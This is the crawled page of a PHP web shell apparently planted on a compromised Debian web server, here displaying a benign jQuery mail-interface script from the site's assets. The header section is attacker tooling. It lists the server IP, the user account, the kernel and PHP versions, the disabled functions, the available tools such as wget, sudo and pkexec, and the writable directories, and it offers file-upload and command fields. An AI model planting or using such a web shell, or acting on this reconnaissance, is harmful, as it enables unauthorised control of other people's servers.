Uname:Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

403WebShell
403Webshell
Server IP : 188.114.96.2  /  Your IP : 104.23.197.231
Web Server : Apache/2.4.59 (Debian)
System : Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : edlftp ( 1002)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/git/sms.edl.codes.solutions/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/git/sms.edl.codes.solutions/assets/js/neon-mail.js
/**
 *	Neon Mail Script
 *
 *	Developed by Arlind Nushi - www.laborator.co
 */

var neonMail = neonMail || {};

;(function($, window, undefined)
{
	"use strict";
	
	$(document).ready(function()
	{
		neonMail.$container = $(".mail-env");
		
		$.extend(neonMail, {
			isPresent: neonMail.$container.length > 0
		});
		
		// Mail Container Height fit with the document
		if(neonMail.isPresent)
		{
			neonMail.$sidebar = neonMail.$container.find('.mail-sidebar');
			neonMail.$body = neonMail.$container.find('.mail-body');
			
			
			// Checkboxes
			var $cb = neonMail.$body.find('table thead input[type="checkbox"], table tfoot input[type="checkbox"]');
			
			$cb.on('click', function()
			{
				$cb.attr('checked', this.checked).trigger('change');
				
				mail_toggle_checkbox_status(this.checked);
			});
			
			// Highlight
			neonMail.$body.find('table tbody input[type="checkbox"]').on('change', function()
			{
				$(this).closest('tr')[this.checked ? 'addClass' : 'removeClass']('highlight');
			});
		}
	});
	
})(jQuery, window);


function fit_mail_container_height()
{
	if(neonMail.isPresent)
	{
		if(neonMail.$sidebar.height() < neonMail.$body.height())
		{
			neonMail.$sidebar.height( neonMail.$body.height() );
		}
		else
		{
			var old_height = neonMail.$sidebar.height();
			
			neonMail.$sidebar.height('');
			
			if(neonMail.$sidebar.height() < neonMail.$body.height())
			{
				neonMail.$sidebar.height(old_height);
			}
		}
	}
}

function reset_mail_container_height()
{
	if(neonMail.isPresent)
	{
		neonMail.$sidebar.height('auto');
	}
}

function mail_toggle_checkbox_status(checked)
{	
	neonMail.$body.find('table tbody input[type="checkbox"]' + (checked ? '' : ':checked')).attr('checked',  ! checked).click();
}

Youez - 2016 - github.com/yon3zu
LinuXploit